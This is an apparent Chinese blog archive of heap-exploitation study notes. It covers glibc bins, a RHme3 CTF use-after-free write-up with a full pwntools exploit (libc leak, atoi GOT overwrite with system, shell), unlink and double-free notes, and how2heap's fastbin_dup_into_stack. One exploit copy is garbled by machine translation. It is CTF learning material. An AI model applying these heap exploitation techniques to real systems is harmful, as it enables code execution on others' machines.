顾名思义,这个是一个 small chunk ,满足的内存空间比 fast bin 大一点。
如果程序请求的内存范围不在 fast bin 的范围内,就会考虑small bin。简单点说就是大于 80 Bytes 小于某一个值时,就会选择他。

unsorted bin
当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,堆管理器就会考虑使用 unsorted bin 。它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。
unsorted bin 与 fast bin 不同,他使用双向链表对 chunk 进行连接
unsorted 的字面意思就是”不可回收”的意思,可以看作将不可回收的垃圾(不满足能够进行内存分配的堆块)都放到这个”垃圾桶”中。

uaf实例

Posted on 2019-08-08 | In 百度学习

RHme3 CTF 的一道题

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
RELRO           STACK CANARY      NX            PIE         
Partial RELRO Canary found NX enabled No PIE

堆的题目基本都是选择菜单,这里可以添加,删除,选择,编辑,展示球员,还可以显示队伍,

Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

Your choice: 1
Found free slot: 0
Enter player name: 1
Enter attack points: 1
Enter defense points: 1
Enter speed: 1
Enter precision: 1
上面就是球员这个结构有什么信息,第一个free slot就相当于球员的id,这个不用我们输入

remove就删除咯

Your choice: 2
Enter index: 0
She's gone!

select会输出球员的信息

Your choice: 3
Enter index: 0
Player selected!
Name: 1
A/D/S/P: 1,1,1,1
edit当前的palyer,基于上面的select

Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice:
show palyer,这个显示的是select的player

Your choice: 5
Name: 2
A/D/S/P: 1,1,1,1
show team会将所有球员信息打印出来

Your choice: 6
Your team:
Player 0
Name: 2
A/D/S/P: 1,1,1,1
Player 1
Name: 3
A/D/S/P: 3,3,3,3
经过对add_player的逆向,可以推出palyer的结构

struct palyer{
int attackPoint;
int defensePoints;
int speed;
int precision;
char* name;
}


unsigned __int64 delete_player()
{
void **ptr; // ST08_8
unsigned int v2; // [rsp+4h] [rbp-1Ch]
char nptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Enter index: ");
fflush(stdout);
readline(&nptr, 4LL);
v2 = atoi(&nptr);
if ( v2 <= 0xA && players[v2] )
{
ptr = (void **)players[v2];
players[v2] = 0LL;
free(ptr[2]);
free(ptr);
puts("She's gone!");
fflush(stdout);
}
else
{
puts("Invalid index");
fflush(stdout);
}
return __readfsqword(0x28u) ^ v4;
}

uaf漏洞点

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
def  alloc(name,attack  =  1, 
defense = 2,speed = 3,precision = 4):

p.recvuntil(' choice:')
p.sendline(' 1 ')

p.recvuntil(' name:')
p.sendline(名称)

p.recvuntil(' points:')
p.sendline(str(attack))

p.recvuntil(' points:')
p.sendline(str(辩护))

p.recvuntil(' speed:')
p.sendline(str(speed))

p.recvuntil(' precision:')
p.sendline(str(precision))

返回

def pwn():

alloc(' A ' * 0x 60)
查看栈的情况
(gdb) x/80gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000020f71

alloc(' B ' * 0x 60)

(gdb) x/80gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1
0x6040a0: 0x0000000200000001 0x0000000400000003
0x6040b0: 0x00000000006040c0 0x0000000000000071
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x0000000000000000 0x0000000000020ee1

alloc(' C ' * 0x 80)
alloc(' D ' * 0x 80)

(gdb) x/90gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1
0x6040a0: 0x0000000200000001 0x0000000400000003
0x6040b0: 0x00000000006040c0 0x0000000000000071
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2
0x604130: 0x0000000200000001 0x0000000400000003
0x604140: 0x0000000000604150 0x0000000000000091
0x604150: 0x4343434343434343 0x4343434343434343
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x0000000000000000 0x0000000000000021 <-- player 3
0x6041e0: 0x0000000200000001 0x0000000400000003
0x6041f0: 0x0000000000604200 0x0000000000000091
0x604200: 0x4444444444444444 0x4444444444444444
0x604210: 0x4444444444444444 0x4444444444444444
0x604220: 0x4444444444444444 0x4444444444444444
0x604230: 0x4444444444444444 0x4444444444444444
0x604240: 0x4444444444444444 0x4444444444444444
0x604250: 0x4444444444444444 0x4444444444444444
0x604260: 0x4444444444444444 0x4444444444444444
0x604270: 0x4444444444444444 0x4444444444444444
0x604280: 0x0000000000000000 0x0000000000020d81

select(2)
free(2)

(gdb) x/80gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 [in use]
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [in use]
0x6040a0: 0x0000000200000001 0x0000000400000003
0x6040b0: 0x00000000006040c0 0x0000000000000071
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2 [free]
0x604130: 0x0000000000000000 0x0000000400000003
0x604140: 0x0000000000604150 0x0000000000000091
0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343


然后 libc的泄露

# 'selected'数组包含第3个玩家对象
#我们滥用UAF vuln泄漏libc
# show_player只检查'selected'数组是否为空
#如果不是,它将打印玩家对象的值
#而不检查如果它实际上是免费的

show()

p.recvuntil('Name: ')

leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - 0x3c17b8
system = libc + 0x46590

log.info("Leak: 0x{:x}".format(leak))
log.info("Libc: 0x{:x}".format(libc))
log.info("system: 0x{:x}".format(system))

[*] Leak: 0x7ffff7dd37b8
[*] Libc: 0x7ffff7a12000
[*] system: 0x7ffff7a58590

接下来就要获得任意代码执行

free(3) ## free掉top chunk前一个

0x604120: 0x0000000000000000 0x00000000000000b1 <-- player 2 [free]
0x604130: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604140: 0x0000000000604150 0x0000000000000091
0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x00000000000000b0 0x0000000000000020 <-- player 3 [free]
0x6041e0: 0x0000000000000000 0x0000000400000003
0x6041f0: 0x0000000000604200 0x0000000000020e11 <-- top chunk

Malloc不喜欢碎片,所以它做的是整合任何相邻的空闲块,根据它们的合并大小更新这些块的大小值,
最后将顶块的大小值更新为更高的块,因为块是free的,并且意味着要分配更多的可用空间。

(0x20) fastbin[0]: 0x6041d0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6041f0 (size : 0x20e10)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x604120 (size : 0xb0)

这个地方不是很懂,感觉就是扩大了top chunk的size,可是有什么用

现在考虑以下内容。下次分配会发生什么?

请记住,每个player对象的默认大小为0x20,指针指向任意大小的块,具体取决于输入的长度。

当我们分配一个新块时,malloc将根据大小请求检查相应的bin列表,并检查是否有相同大小的等效空闲块以回馈给用户。这就是所谓的首次适应行为。请记住,快速列表中的删除和添加发生在列表的HEAD中。换句话说,我们应该期待玩家的信息被存储,0x6041d0因为它是一个free的fastbin大小并满足0x20要求。

未分类的bin保存地址0x604120。这是玩家2的大块地址。这与free(3)之前的地址不同。那是因为malloc整合了相邻的空闲块,并且它们变成了一个完整的空闲块,因此它必须更新地址。与邻接检查对应的代码如下:

/ *向后巩固* /
if(!prev_inuse(p)){
prevsize = p-> prev_size ;
size + = prevsize;
p = chunk_at_offset(p, - ((long)prevsize));
unlink(av,p,bck,fwd);
}

前面free了player2,3的地址,然后被malloc整合成一个大的chunk

无论我们输入的名称大小(只要它不大于当前未分类的bin列表中的块,0xb0在我们的例子中),我们应该返回地址0x604120以存储名称。如果大小小于0xb0,那么给定的块将被分割,因为没有必要回馈超过我们要求的数量,对吧?

但是,0x604120是player2的大块地址!这意味着,我们可以使用的名称有效载荷覆盖其数据并混淆其结构。请记住,player2仍然在选定的变量中,因此我们仍然可以打印其内容,编辑它等。如果我们能够使用我们选择的指针(GOT条目)覆盖指向原始名称的指针并调用edit它的功能呢?我们可以重定向代码执行。这是一个abritrary写原语!

# Overwrite 3rd player's (index 2) name pointer with atoi
# in order to edit it with system's address
alloc('Z'*8 * 2 + p64(atoi_got))

edit(p64(system))

我选择覆盖的函数的GOT条目是atoi。这背后的原因是atoi接收指向我们输入的指针,
以便将其转换回整数。如果atoi是system有关系吗?如果我们提供sh它应该是什么的论据,会发生什么

0x604120: 0x0000000000000000 0x0000000000000021 <-- new player's name [old player 2]
0x604130: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x604140: 0x0000000000603110 0x0000000000000091
0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x0000000000000090 0x0000000000000020 <-- new allocated player
0x6041e0: 0x0000000200000001 0x0000000400000003
0x6041f0: 0x0000000000604130

player2的地址已经被atoi的got表所覆盖
一旦我们请求编辑其名称,我们将覆盖atoi's带system's地址的条目。getshell!

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *

atoi_got = 0x603110

def alloc(name, attack = 1,
defense = 2, speed = 3, precision = 4):

p.recvuntil('choice: ')
p.sendline('1')

p.recvuntil('name: ')
p.sendline(name)

p.recvuntil('points: ')
p.sendline(str(attack))

p.recvuntil('points: ')
p.sendline(str(defense))

p.recvuntil('speed: ')
p.sendline(str(speed))

p.recvuntil('precision: ')
p.sendline(str(precision))

return

def edit(name):

p.recvuntil('choice: ')
p.sendline('4')

p.recvuntil('choice: ')
p.sendline('1')

p.recvuntil('name: ')
p.sendline(name)

p.recvuntil('choice: ')
p.sendline('sh')

return

def select(idx):

p.recvuntil('choice: ')
p.sendline('3')

p.recvuntil('index: ')
p.sendline(str(idx))

return

def free(idx):

p.recvuntil('choice: ')
p.sendline('2')

p.recvuntil('index: ')
p.sendline(str(idx))

return

def show():

p.recvuntil('choice: ')
p.sendline('5')

return

def pwn():

alloc('A'*0x60)
alloc('B'*0x60)
alloc('C'*0x80)
alloc('D'*0x80)

select(2)

free(2)

# The 'selected' array contains the 3rd player object
# We are abusing the UAF vuln to leak libc
# show_player just checks if the 'selected' array is empty
# if it's not, it will print the value of the player's object
# without checking if it's actually free'd or not
show()

p.recvuntil('Name: ')

leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - 0x3c17b8
system = libc + 0x46590

log.info("Leak: 0x{:x}".format(leak))
log.info("Libc: 0x{:x}".format(libc))
log.info("system: 0x{:x}".format(system))

log.info("Overwriting atoi with system")

# Consolidate with top chunk
free(3)

# Overwrite 3rd player's (index 2) name pointer with atoi
# in order to edit it with system's address
alloc('Z'*8 * 2 + p64(atoi_got))

edit(p64(system))

p.interactive()

if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
p = remote(sys.argv[1], int(sys.argv[2]))
pwn()
else:
p = process('./main.elf')
pause()
pwn()

Double free

Posted on 2019-08-07 | In 百度学习

原文借鉴:http://d0m021ng.github.io/2017/02/24/PWN/Linux%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BDouble-free/

0x01 Glibc背景知识

1
Linux下堆分配器主要由两个结构管理堆内存,一种是堆块头部形成的隐式链表,另一种是管理空闲堆块的显式链表(Glibc中的bins数据结构)。关于bins的介绍已经有很多,就不赘述了。接下来介绍一下Linux下Double free漏洞原理以及free函数的堆块合并过程。

0x02 Doublefree漏洞原理

1
2
3
4
 free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。

free函数原理:由堆块头部形成的隐式链表可知,一个需释放堆块相邻的堆块有两个:前一个块(由当前块头指针加pre_size确定),后一个块(由当前块头指针加size确定)。从而,在合并堆块时会存在两种情况:向后合并、向前合并。当前一个块和当前块合并时,叫做向后合并。当后一个块和当前块合并时,叫做向前合并。
相关代码

0x03 Doublefree漏洞利用原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
以64位应用为例:如果在free一个指针指向的块时,由于堆溢出,将后一个块的块头改成如下格式:
fake_prevsize1 = 被释放块大小;
fake_size1 = 0x20 | 1 (fake_size1 = 0x20)
fake_fd = free@got.plt - 0x18
fake_bk = shellcode address
fake_prevsize2 = 0x20
fake_size2 = 0x10
如下图:
如果chunk0被释放(fake_size1 = 0x21),进行空闲块合并时,1)由于前一个块非空闲,不会向后合并。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。
如果chunk1被释放(fake_size1 = 0x20),进行空闲块合并时,1)由于前一个块空闲,向后合并,导致unlink。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。
根据unlink宏知道, 前一个块 FD 指向 free@got.plt - 0x18, 后一个块 BK 指向 shellcode address。然后前一个块 FD 的bk指针即free@got.plt,值为shellcode address, 后一个块 BK 的 fd 指针即shellcode + 0x10,值为 free@got.plt。从而实现了一次固定地址写。

High |----------------|
| fake_size2 |
|----------------|
| fake_prevsize2 |
|----------------| chunk2 pointer
| fake_bk |
|----------------|
| fake_fd |
|----------------| chunk1 malloc returned pointer
| fake_size1 |
|----------------|
| fake_prevsize1 |
|----------------| chunk1 pointer
| ...... |
| padding |
| ...... |
|----------------|
| fake_bk |
|----------------|
| fake_fd |
|----------------| chunk0 malloc returned pointer
| size |
|----------------|
| prev_size |
Low |----------------| chunk0 pointer

但是,由于当前glibc的加固检测机制,会检查显式链表中前一个块的fd与后一个块的bk是否都指向当前需要unlink的块。这样攻击者就无法替换chunk1(或chunk0)的fd与bk。相关代码如下:
如if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV)

针对这种情况,需要在内存中找到一个指向需要unlink块的指针,就可以绕过。

fastbin_dup_into_stack

Posted on 2019-08-06 | In how2heap

0x01 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

0x02 理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
程序通用malloc了三个chunk,紧接着通过fastbin double free的操作形成了如下freelist。

Pwndbg> fastbins
fastbins
0x20:0x603000-▸0x603020◂-0x603000
0x30:0x0
0x40:0x0
0x50:0x0
0x60:0x0
0x70:0x0
0x80:0x0

unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

malloc chunk d

这个时候程序会从fastbins里取一个,由于fastbins是LIFO(Last in First out).chunk A会被取出使用。倘若我们这个时候能对chunk D进行操作,如d = (unsigned long long) (((char*)&stack_var) - sizeof(d));由于stack_var = 0x20;这样的定义是在函数内,所以stack_var的地址将在栈上,通过对指针d的操作,我们可以伪造一个chunk,并将这个chunk放在栈上。

Pwndbg> x/20a 0x603000
0x603000: 0x0 0x21
0x603010: 0x7fffffffe388 0x0
0x603020: 0x0 0x21
0x603030: 0x603000 0x0
0x603040: 0x0 0x21
0x603050: 0x0 0x0
0x603060: 0x0 0x20fa1
0x603070: 0x0 0x0
0x603080: 0x0 0x0
0x603090: 0x0 0x0
Pwndbg> x/20a 0x7fffffffe388
0x7fffffffe388: 0x40097c <main+758> 0x20
0x7fffffffe398: 0x603010 0x603030
0x7fffffffe3a8: 0x603050 0x603010
0x7fffffffe3b8: 0xc3e158ae04ceee00 0x4009a0 <__libc_csu_init>
0x7fffffffe3c8: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe3d8: 0x7fffffffe4a8 0x1f7b9a488
0x7fffffffe3e8: 0x400686 <main> 0x0
0x7fffffffe3f8: 0x4ffa6e8ae3316c56 0x400590 <_start>
0x7fffffffe408: 0x7fffffffe4a0 0x0
0x7fffffffe418: 0x0 0xb00591f537d16c56
Pwndbg> stack 10
00:0000│ rsp 0x7fffffffe390 ◂— 0x20 /* ' ' */
01:0008│ 0x7fffffffe398 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
02:0010│ 0x7fffffffe3a0 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
03:0018│ 0x7fffffffe3a8 —▸ 0x603050 ◂— 0x0
04:0020│ 0x7fffffffe3b0 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
05:0028│ 0x7fffffffe3b8 ◂— 0xc3e158ae04ceee00
06:0030│ rbp 0x7fffffffe3c0 —▸ 0x4009a0 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe3c8 —▸ 0x7ffff7a303f1 (__libc_start_main+241) ◂— mov edi, eax
08:0040│ 0x7fffffffe3d0 ◂— 0x40000
09:0048│ 0x7fffffffe3d8 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6ea ◂— 0x77732f656d6f682f ('/home/sw')

stack_var = 0x20; 是由于伪造的chunk要由设置size,size的位置位于地址-0x8的地方。

运行结果

This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff02a085c8.
Allocating 3 buffers.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
3rd malloc(8): 0x146b050
Freeing the first one...
If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list.
So, instead, we'll free 0x146b030.
Now, we can free 0x146b010 again, since it's not the head of the free list.
Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
Now the free list has [ 0x146b010 ].
Now, we have access to 0x146b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20.
3rd malloc(8): 0x146b010, putting the stack address on the free list
4th malloc(8): 0x7fff02a085c8

最后效果如上,我们发现当chunk a被拿出来后,由于我们伪造了chunk a的fd,造成如下效果。

Pwndbg> fastbins
fastbins
0x20:0x603000-▸0x7fffffffe388-▸0x603010◂-0x0
0x30:0x0
0x40:0x0
0x50:0x0
0x60:0x0
0x70:0x0
0x80:0x0

这个时候形成如上的链表结构,这个时候当我们再malloc一块内存的时候,系统会误以为是我们假的chunk是自的的。他会把这块chunk拿出来用。

Pwndbg> heap
Top Chunk: 0x603060
Last Remainder: 0

0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7fffffffe388,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}

小结:对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。如果我们把这个地址指向 got 地址,如果我们可对 chunk 进行写或者读操作,我们就有了任意地址写 和 任意地址读。

UAF漏洞

Posted on 2019-08-06 | In 百度学习

觉得还是整理一下比较好,可以联系how2heap里的文章帮助理解,最好结合题目来做会比较简单,后面的文章我会做几题

原文:https://blog.csdn.net/qq_31481187/article/details/73612451

0x01 原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

一段简单的代码 帮助理解

#include <stdio.h>
#include <cstdlib>
#include <string.h>
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*10);//申请内存空间
memcpy(p1,"hello",10);
printf("p1 addr:%x,%s\n",p1,p1);
free(p1);//释放内存空间
char *p2;
p2 = (char *)malloc(sizeof(char)*10);//二次申请内存空间,与第一次大小相同,申请到了同一块内存
memcpy(p1,"world",10);//对内存进行修改
printf("p2 addr:%x,%s\n",p2,p1);//验证
return 0;
}

1.指针p1申请内存,打印其地址值
2.然后释放p1
3.指针p2申请同样大小的内存,打印p2的地址,p1指针指向的值

p1与p2地址相同,p1指针释放后,p2申请相同的大小的内存,操作系统会将之前给p1的地址分配给p2,修改p2的值,p1也被修改了

应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

简单讲就是第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

漏洞的简单利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
还是一段简单的程序
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
